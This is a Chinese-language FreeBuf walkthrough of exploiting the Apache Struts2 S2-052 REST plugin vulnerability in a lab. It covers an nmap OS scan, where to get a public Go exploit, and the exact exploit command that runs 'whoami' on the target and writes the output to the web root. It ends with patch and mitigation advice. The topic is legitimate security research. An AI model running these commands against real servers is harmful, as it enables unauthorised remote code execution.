Struts S2-052漏洞利用方式實驗解析(附EXP)
本文原創作者:hjchjcjh,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載。本文提供的實驗方法和工具,僅供安全研究和學慣用途,為防止惡意利用,本站已對部分內容隱藏處理。
Struts2的漏洞之王大之名相信已經家戶喻曉了。從S2-003、S2-005、S2-007、S2-008、S2-009、S2-012~S2-016、S2-037、S2-045、S2-048.等等,而2017年9月5日又收到來自Struts2新的「驚喜」——S2-052。
實驗環境
靶機:
101.200.58.* (win2008x64
+tomcat8.5+
Struts 2.5.12)
漏洞地址:
http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml

一、判斷操作系統及埠開放:
本機使用nmap識別一下操作系統(重要):
nmap -o 101.200.58.*
根據下圖目標開放的埠(135.139.445.3389)可以知道:目標使用的是windows系統。
二、環境要求及EXP下載:
因為EXP
是用
go
語言編寫的,如果你沒有
go
環境的話,需要搭建一下。
Go1.9
下載地址:
https://www.golangtc.com/static/go/1.9/go1.9.windows-386.zip (32位)
https://www.golangtc.com/static/go/1.9/go1.9.windows-amd64.zip(64位)
Exp
下載地址:
https://github.com/luc10/struts-rce-cve-2017-9805三、漏洞證明:
EXP
使用方法:
go run main.go -u URL -c 「command」
因為這個EXP腳本沒實現回顯功能,其實我們可以把命令結果輸出文件到網站目錄下面,這樣我們使用瀏覽器訪問這個文件就可以看到回顯內容了
執行(windows環境下):
go run main.go -u http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml -c "cmd /c whoami >>.webappsROOTcmd.txt"
執行後,我們訪問地址:
http://101.200.58.*:8080/cmd.txt
發現命令的執行成功的結果已經寫入到網站根目錄下的cmd.txt,並且許可權是最高許可權。
四、控制伺服器:
*為防止惡意利用,此實驗具體內容隱藏
漏洞影響
Struts 2.5 – Struts 2.5.12 版本,可能影響到 2.3.33 版本。
解決方案
1.建議儘快升級到 2.5.13版本。
2.在不使用時刪除 Struts REST插件,或僅限於伺服器普通頁面和JSONs:
*本文原創作者:hjchjcjh,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


※ShadowBrokers 又搞事!每月支付 400 萬美元,多獲得兩份新泄露的文件,你會買嗎?
※XPwn 2017探索未來盛會遙望,迎接我們的會是少數派報告的世界嗎?
※專業度與公信力締造年度安全盛譽 | WitAwards 2017互聯網安全年度評選(報名&提名申請開啟)
※談談魚叉式網路釣魚黑箱粉碎機
※好萊塢女星賬號被黑,原來是利用了Instagram API漏洞
TAG:FreeBuf |